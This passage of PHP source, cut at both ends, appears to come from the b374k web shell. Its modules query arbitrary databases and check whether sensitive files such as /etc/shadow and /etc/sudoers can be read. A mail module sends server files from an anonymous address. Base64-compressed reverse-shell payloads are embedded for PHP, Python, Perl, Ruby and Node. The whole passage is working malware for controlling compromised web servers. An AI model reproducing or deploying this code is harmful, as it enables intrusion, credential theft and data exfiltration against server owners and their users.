if(function_exists(\'pg_connect\')) return @pg_connect("$host_str user=$sqluser password=$sqlpass"); } elseif($sqltype == \'oracle\'){ if(function_exists(\'oci_connect\')) return @oci_connect($sqluser, $sqlpass, $sqlhost); } elseif($sqltype == \'sqlite3\'){ if(class_exists(\'SQLite3\')) if(!empty($sqlhost)) return new SQLite3($sqlhost); else return false; } elseif($sqltype == \'sqlite\'){ if(function_exists(\'sqlite_open\')) return @sqlite_open($sqlhost); } elseif($sqltype == \'odbc\'){ if(function_exists(\'odbc_connect\')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == \'pdo\'){ if(class_exists(\'PDO\')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass); else return false; } return false; } } if(!function_exists(\'sql_query\')){ function sql_query($sqltype, $query, $con){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return $con->query($query); elseif(function_exists(\'mysql_query\')) return mysql_query($query); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_query\')) return sqlsrv_query($con,$query); elseif(function_exists(\'mssql_query\')) return mssql_query($query); } elseif($sqltype == \'pgsql\') return pg_query($query); elseif($sqltype == \'oracle\') return oci_execute(oci_parse($con, $query)); elseif($sqltype == \'sqlite3\') return $con->query($query); elseif($sqltype == \'sqlite\') return sqlite_query($con, $query); elseif($sqltype == \'odbc\') return odbc_exec($con, $query); elseif($sqltype == \'pdo\') return $con->query($query); } } if(!function_exists(\'sql_num_rows\')){ function sql_num_rows($sqltype,$result){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $result->mysqli_num_rows; elseif(function_exists(\'mysql_num_rows\')) return mysql_num_rows($result); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_num_rows\')) return sqlsrv_num_rows($result); elseif(function_exists(\'mssql_num_rows\')) return mssql_num_rows($result); } elseif($sqltype == \'pgsql\') return pg_num_rows($result); elseif($sqltype == \'oracle\') return oci_num_rows($result); elseif($sqltype == \'sqlite3\'){ $metadata = $result->fetchArray(); if(is_array($metadata)) return $metadata[\'count\']; } elseif($sqltype == \'sqlite\') return sqlite_num_rows($result); elseif($sqltype == \'odbc\') return odbc_num_rows($result); elseif($sqltype == \'pdo\') return $result->rowCount(); } } if(!function_exists(\'sql_num_fields\')){ function sql_num_fields($sqltype, $result){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $result->field_count; elseif(function_exists(\'mysql_num_fields\')) return mysql_num_fields($result); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_num_fields\')) return sqlsrv_num_fields($result); elseif(function_exists(\'mssql_num_fields\')) return mssql_num_fields($result); } elseif($sqltype == \'pgsql\') return pg_num_fields($result); elseif($sqltype == \'oracle\') return oci_num_fields($result); elseif($sqltype == \'sqlite3\') return $result->numColumns(); elseif($sqltype == \'sqlite\') return sqlite_num_fields($result); elseif($sqltype == \'odbc\') return odbc_num_fields($result); elseif($sqltype == \'pdo\') return $result->columnCount(); } } if(!function_exists(\'sql_field_name\')){ function sql_field_name($sqltype,$result,$i){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) { $z=$result->fetch_field();return $z->name;} elseif(function_exists(\'mysql_field_name\')) return mysql_field_name($result,$i); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_field_metadata\')){ $metadata = sqlsrv_field_metadata($result); if(is_array($metadata)){ $metadata=$metadata[$i]; } if(is_array($metadata)) return $metadata[\'Name\']; } elseif(function_exists(\'mssql_field_name\')) return mssql_field_name($result,$i); } elseif($sqltype == \'pgsql\') return pg_field_name($result,$i); elseif($sqltype == \'oracle\') return oci_field_name($result,$i+1); elseif($sqltype == \'sqlite3\') return $result->columnName($i); elseif($sqltype == \'sqlite\') return sqlite_field_name($result,$i); elseif($sqltype == \'odbc\') return odbc_field_name($result,$i+1); elseif($sqltype == \'pdo\'){ $res = $result->getColumnMeta($i); return $res[\'name\']; } } } if(!function_exists(\'sql_fetch_data\')){ function sql_fetch_data($sqltype,$result){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $result->fetch_row(); elseif(function_exists(\'mysql_fetch_row\')) return mysql_fetch_row($result); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_fetch_array\')) return sqlsrv_fetch_array($result,1); elseif(function_exists(\'mssql_fetch_row\')) return mssql_fetch_row($result); } elseif($sqltype == \'pgsql\') return pg_fetch_row($result); elseif($sqltype == \'oracle\') return oci_fetch_row($result); elseif($sqltype == \'sqlite3\') return $result->fetchArray(1); elseif($sqltype == \'sqlite\') return sqlite_fetch_array($result,1); elseif($sqltype == \'odbc\') return odbc_fetch_array($result); elseif($sqltype == \'pdo\') return $result->fetch(2); } } if(!function_exists(\'sql_close\')){ function sql_close($sqltype,$con){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return $con->close(); elseif(function_exists(\'mysql_close\')) return mysql_close($con); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_close\')) return sqlsrv_close($con); elseif(function_exists(\'mssql_close\')) return mssql_close($con); } elseif($sqltype == \'pgsql\') return pg_close($con); elseif($sqltype == \'oracle\') return oci_close($con); elseif($sqltype == \'sqlite3\') return $con->close(); elseif($sqltype == \'sqlite\') return sqlite_close($con); elseif($sqltype == \'odbc\') return odbc_close($con); elseif($sqltype == \'pdo\') return $con = null; } } if(!function_exists(\'sql_get_supported\')){ function sql_get_supported(){ $db_supported = array(); if(function_exists("mysql_connect")) $db_supported[] = \'mysql\'; if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = \'mssql\'; if(function_exists("pg_connect")) $db_supported[] = \'pgsql\'; if(function_exists("oci_connect")) $db_supported[] = \'oracle\'; if(function_exists("sqlite_open")) $db_supported[] = \'sqlite\'; if(class_exists("SQLite3")) $db_supported[] = \'sqlite3\'; if(function_exists("odbc_connect")) $db_supported[] = \'odbc\'; if(class_exists("PDO")) $db_supported[] = \'pdo\'; return implode(",", $db_supported); } } if(isset($p[\'dbGetSupported\'])){ $res = sql_get_supported(); if(empty($res)) $res = "error"; output($res); } elseif(isset($p[\'dbType\'])&&isset($p[\'dbHost\'])&&isset($p[\'dbUser\'])&&isset($p[\'dbPass\'])&&isset($p[\'dbPort\'])){ $type = $p[\'dbType\']; $host = $p[\'dbHost\']; $user = $p[\'dbUser\']; $pass = $p[\'dbPass\']; $port = $p[\'dbPort\']; $con = sql_connect($type ,$host , $user , $pass); $res = ""; if($con!==false){ if(isset($p[\'dbQuery\'])){ $query = $p[\'dbQuery\']; $pagination = ""; if((isset($p[\'dbDB\']))&&(isset($p[\'dbTable\']))){ $db = trim($p[\'dbDB\']); $table = trim($p[\'dbTable\']); $start = (int) (isset($p[\'dbStart\']))? trim($p[\'dbStart\']):0; $limit = (int) (isset($p[\'dbLimit\']))? trim($p[\'dbLimit\']):100; if($type==\'mysql\'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";"; } elseif($type==\'mssql\'){ $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";"; } elseif($type==\'pgsql\'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";"; } elseif($type==\'oracle\'){ $limit = $start + $limit; $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";"; } elseif($type==\'sqlite\' || $type==\'sqlite3\'){ $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";"; } else $query = ""; $pagination = "Limit <input type=\'text\' id=\'dbLimit\' value=\'".html_safe($limit)."\' style=\'width:50px;\'> <span class=\'button\' onclick=\\"db_pagination(\'prev\');\\">prev</span> <span class=\'button\' onclick=\\"db_pagination(\'next\');\\">next</span> <input type=\'hidden\' id=\'dbDB\' value=\'".html_safe($db)."\'> <input type=\'hidden\' id=\'dbTable\' value=\'".html_safe($table)."\'> <input type=\'hidden\' id=\'dbStart\' value=\'".html_safe($start)."\'> "; } $querys = explode(";", $query); foreach($querys as $query){ if(trim($query) != ""){ $query_query = sql_query($type, $query, $con); if($query_query!=false){ $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class=\'strong\'>[</span> ok <span class=\'strong\'>]</span></p>"; if(!empty($pagination)){ $res .= "<p>".$pagination."</p>"; } if(!is_bool($query_query)){ $res .= "<table class=\'border dataView sortable tblResult\'><tr>"; for($i = 0; $i < sql_num_fields($type, $query_query); $i++) $res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>"; $res .= "</tr>"; while($rows = sql_fetch_data($type, $query_query)){ $res .= "<tr>"; foreach($rows as $r){ if(empty($r)) $r = " "; $res .= "<td>".html_safe($r)."</td>"; } $res .= "</tr>"; } $res .= "</table>"; } } else{ $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class=\'strong\'>[</span> error <span class=\'strong\'>]</span></p>"; } } } } else{ if(($type!=\'pdo\') && ($type!=\'odbc\')){ if($type==\'mysql\') $showdb = "SHOW DATABASES"; elseif($type==\'mssql\') $showdb = "SELECT name FROM master..sysdatabases"; elseif($type==\'pgsql\') $showdb = "SELECT schema_name FROM information_schema.schemata"; elseif($type==\'oracle\') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; elseif(($type==\'sqlite3\') || ($type==\'sqlite\')) $showdb = "SELECT \\"".$host."\\""; else $showdb = "SHOW DATABASES"; $query_db = sql_query($type, $showdb, $con); if($query_db!=false) { while($db_arr = sql_fetch_data($type, $query_db)){ foreach($db_arr as $db){ if($type==\'mysql\') $showtbl = "SHOW TABLES FROM ".$db; elseif($type==\'mssql\') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = \'U\'"; elseif($type==\'pgsql\') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema=\'".$db."\'"; elseif($type==\'oracle\') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER=\'".$db."\'"; elseif(($type==\'sqlite3\') || ($type==\'sqlite\')) $showtbl = "SELECT name FROM sqlite_master WHERE type=\'table\'"; else $showtbl = ""; $res .= "<p class=\'boxtitle boxNav\' style=\'padding:8px 32px;margin-bottom:4px;\'>".$db."</p><table class=\'border\' style=\'display:none;margin:8px 0;\'>"; $query_table = sql_query($type, $showtbl, $con); if($query_table!=false){ while($tables_arr = sql_fetch_data($type, $query_table)){ foreach($tables_arr as $table) $res .= "<tr><td class=\'dbTable borderbottom\' style=\'cursor:pointer;\'>".$table."</td></tr>"; } } $res .= "</table>"; } } } } } } if(!empty($res)) output($res); output(\'error\'); } ?><?php $GLOBALS[\'module\'][\'info\'][\'id\'] = "info"; $GLOBALS[\'module\'][\'info\'][\'title\'] = "Info"; $GLOBALS[\'module\'][\'info\'][\'js_ontabselected\'] = ""; $GLOBALS[\'module\'][\'info\'][\'content\'] = "<div class=\'border infoResult\'></div>"; if(!function_exists(\'info_getinfo\')){ function info_getinfo(){ $res = ""; $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_server\');\\" style=\'margin-bottom:8px;\'>Server Info</p>"; $res .= "<div id=\'info_server\' style=\'margin-bottom:8px;display:none;\'><table class=\'dataView\'>"; if(is_win()){ foreach (range("A", "Z") as $letter){ if(is_readable($letter.":\\\\")){ $drive = $letter.":"; $res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>"; } } } else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>"; $res .= "<tr><td>php</td><td>".phpversion()."</td></tr>"; $access = array("python"=>"python -V", "perl"=>"perl -e \\"print \\$]\\"", "python"=>"python -V", "ruby"=>"ruby -v", "node"=>"node -v", "nodejs"=>"nodejs -v", "gcc"=>"gcc -dumpversion", "java"=>"java -version", "javac"=>"javac -version" ); foreach($access as $k=>$v){ $version = execute($v); $version = explode("\\n", $version); if($version[0]) $version = $version[0]; else $version = "?"; $res .= "<tr><td>".$k."</td><td>".$version."</td></tr>"; } if(!is_win()){ $interesting = array( "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf", "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf", "/etc/ssh/sshd_config", "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf", "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf", "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"); foreach($interesting as $f){ if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f."</td><td><a data-path=\'".html_safe($f)."\' onclick=\'view_entry(this);\'>".$f." is readable</a></td></tr>"; } } $res .= "</table></div>"; if(!is_win()){ if($i_buff=trim(read_file("/proc/cpuinfo"))){ $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_cpu\');\\" style=\'margin-bottom:8px;\'>CPU Info</p>"; $res .= "<div class=\'info\' id=\'info_cpu\' style=\'margin-bottom:8px;display:none;\'>"; $i_buffs = explode("\\n\\n", $i_buff); foreach($i_buffs as $i_buffss){ $i_buffss = trim($i_buffss); if($i_buffss!=""){ $i_buffsss = explode("\\n", $i_buffss); $res .= "<table class=\'dataView\'>"; foreach($i_buffsss as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } } $res .= "</table>"; } } $res .= "</div>"; } if($i_buff=trim(read_file("/proc/meminfo"))){ $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_mem\');\\" style=\'margin-bottom:8px;\'>Memory Info</p>"; $i_buffs = explode("\\n", $i_buff); $res .= "<div class=\'info\' id=\'info_mem\' style=\'margin-bottom:8px;display:none;\'><table class=\'dataView\'>"; foreach($i_buffs as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } else $res .= "</table><table class=\'dataView\'>"; } $res .= "</table></div>"; } if($i_buff=trim(read_file("/proc/partitions"))){ $i_buff = preg_replace("/\\ +/", " ", $i_buff); $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_part\');\\" style=\'margin-bottom:8px;\'>Partitions Info</p>"; $res .= "<div class=\'info\' id=\'info_part\' style=\'margin-bottom:8px;display:none;\'>"; $i_buffs = explode("\\n\\n", $i_buff); $res .= "<table class=\'dataView\'><tr>"; $i_head = explode(" ", $i_buffs[0]); foreach($i_head as $h) $res .= "<th>".$h."</th>"; $res .= "</tr>"; $i_buffss = explode("\\n", $i_buffs[1]); foreach($i_buffss as $i_b){ $i_row = explode(" ", trim($i_b)); $res .= "<tr>"; foreach($i_row as $r) $res .= "<td style=\'text-align:center;\'>".$r."</td>"; $res .= "</tr>"; } $res .= "</table>"; $res .= "</div>"; } } $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES); foreach($phpinfo as $p=>$i){ $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'".$i."\');\\" style=\'margin-bottom:8px;\'>".$p."</p>"; ob_start(); eval("phpinfo(".$i.");"); $b = ob_get_contents(); ob_end_clean(); if(preg_match("/<body>(.*?)<\\/body>/is", $b, $r)){ $body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]); $body = str_replace("<table", "<table class=\'boxtbl\' ", $body); $body = preg_replace("/<tr class=\\"h\\">(.*?)<\\/tr>/", "", $body); $body = preg_replace("/<a href=\\"http:\\/\\/www.php.net\\/(.*?)<\\/a>/", "", $body); $body = preg_replace("/<a href=\\"http:\\/\\/www.zend.com\\/(.*?)<\\/a>/", "", $body); $res .= "<div class=\'info\' id=\'".$i."\' style=\'margin-bottom:8px;display:none;\'>".$body."</div>"; } } $res .= "<span class=\'button colSpan\' onclick=\\"info_refresh();\\" style=\'margin-bottom:8px;\'>refresh</span><div style=\'clear:both;\'></div>"; return $res; } } if(isset($p[\'infoRefresh\'])){ output(info_getinfo()); } ?><?php $GLOBALS[\'module\'][\'mail\'][\'id\'] = "mail"; $GLOBALS[\'module\'][\'mail\'][\'title\'] = "Mail"; $GLOBALS[\'module\'][\'mail\'][\'js_ontabselected\'] = "if(!portableMode) $(\'#mailFrom\').focus();"; $GLOBALS[\'module\'][\'mail\'][\'content\'] = " <table class=\'boxtbl\'> <thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Mail</p></th></tr> </thead> <tbody id=\'mailTBody\'> <tr><td style=\'width:120px\'>From</td><td colspan=\'2\'><input type=\'text\' id=\'mailFrom\' value=\'\' onkeydown=\\"trap_enter(event, \'mail_send\');\\"></td></tr> <tr><td>To</td><td><input type=\'text\' id=\'mailTo\' value=\'\' onkeydown=\\"trap_enter(event, \'mail_send\');\\"></td></tr> <tr><td>Subject</td><td><input type=\'text\' id=\'mailSubject\' value=\'\' onkeydown=\\"trap_enter(event, \'mail_send\');\\"></td></tr> </tbody> <tfoot> <tr><td colspan=\'2\'><textarea id=\'mailContent\' style=\'height:140px;min-height:140px;\'></textarea></td></tr> <tr> <td colspan=\'2\'><span style=\'width:120px;\' class=\'button\' onclick=\\"mail_send();\\">send</span> <span style=\'width:120px;\' class=\'button\' onclick=\\"mail_attach();\\">attachment</span> </td> </tr> <tr><td colspan=\'2\'><span id=\'mailResult\'></span></td></tr> </tfoot> </table> "; if(!function_exists(\'send_email\')){ function send_email($from, $to, $subject, $msg, $attachment){ $headers = "MIME-Version: 1.0\\r\\nFrom: ".$from."\\r\\nReply-To: ".$from."\\r\\n"; $rand = md5(time()); $headers .= "Content-Type: multipart/mixed; boundary=\\"".$rand."\\"\\r\\n\\r\\n"; $headers .= "--".$rand."\\r\\n"; $headers .= "Content-Type: text/html; charset=\\"UTF-8\\"\\r\\nContent-Transfer-Encoding: 8bit\\r\\n\\r\\n"; $headers .= $msg."\\r\\n\\r\\n"; if(count($attachment)>0){ foreach($attachment as $file){ if(is_file($file)){ $content = chunk_split(base64_encode(read_file($file))); $headers .= "--".$rand."\\r\\n"; $headers .= "Content-Type: application/octet-stream; name=\\"".basename($file)."\\"\\r\\n"; $headers .= "Content-Transfer-Encoding: base64\\r\\n"; $headers .= "Content-Disposition: attachment\\r\\n\\r\\n"; $headers .= $content."\\r\\n\\r\\n"; } } } $headers .= "--".$rand."--\\r\\n"; if(@mail($to, $subject, "", $headers)) return true; return false; } } if(isset($p[\'mailFrom\'])&&isset($p[\'mailTo\'])&&isset($p[\'mailSubject\'])&&isset($p[\'mailContent\'])){ $mailFrom = trim($p[\'mailFrom\']); $mailTo = trim($p[\'mailTo\']); $mailSubject = trim($p[\'mailSubject\']); $mailContent = trim($p[\'mailContent\']); $mailAttachment = trim($p[\'mailAttachment\']); $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p[\'mailAttachment\']):array(); if(empty($mailTo)) output("Please specify at least one recipient"); if(empty($mailFrom)) $mailFrom = "anonymous@anonymous.com"; foreach($mailAttachment as $file){ $file = trim($file); if(empty($file)) continue; if(!is_file($file)) output("No such file : ".$file); } if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($to)); output("Failed to send mail"); } ?><?php $server_addr = isset($_SERVER[\'SERVER_ADDR\'])? $_SERVER[\'SERVER_ADDR\']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:""; $remote_addr = isset($_SERVER[\'REMOTE_ADDR\'])? $_SERVER[\'REMOTE_ADDR\']:""; $default_port = 13123; $winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":""; $GLOBALS[\'resources\'][\'rs_php\'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G"; $GLOBALS[\'resources\'][\'rs_python\'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc="; $GLOBALS[\'resources\'][\'rs_perl\'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ=="; $GLOBALS[\'resources\'][\'rs_ruby\'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs="; $GLOBALS[\'resources\'][\'rs_node\'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ="; $GLOBALS[\'resources\'][\'rs_gcc\'] = 